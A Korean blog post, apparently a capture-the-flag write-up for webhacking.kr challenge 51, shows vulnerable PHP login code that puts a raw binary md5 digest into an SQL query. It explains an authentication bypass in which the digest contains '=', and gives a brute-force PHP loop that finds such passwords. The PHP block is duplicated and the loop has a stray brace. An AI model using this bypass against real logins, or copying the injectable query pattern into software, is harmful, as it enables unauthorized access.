티스토리 뷰
webhacking.kr 51번 문제 : sql 인젝션
<?
if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],true);
$q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'"));
if($q[id]=="admin")
{
@solve(51,250);
}
if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>");
}
?>
if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],true);
$q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'"));
if($q[id]=="admin")
{
@solve(51,250);
}
if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>");
}
?>
index.phps 를 보면 다음과 같은 코드가 나온다.
이번문제를 풀면서 알게된 사실 2가지
1. md5() 함수는 보통 기본값이 false 이다. true 옵션을 사용하였을 경우 깨진 값들이 들어간다.
2. 깨진 값을 쿼리에 넣었을시에 뭔가 이상하게 오류없이 잘 작동한다.
$input_pw=md5($_POST[pw],true);
이부분을 보아하니 패스워드값을 md5 함수로 암호화 된 값을 변수로 넣는다.
깨진값이 '=' 값이 있으면 쿼리를 통과시킬 수 있다.
pw='깨진값'='깨진값' (Key Point)
md5 함수를 많이 돌려서 해당하는 값을 패스워드로 넣으면 클리어하게 된다.
<?
for($i=0; $i<10000000;$i++){
if(strpos(md5($i,true),"'='")>0){
echo $i."<br>";
}
}
}
?>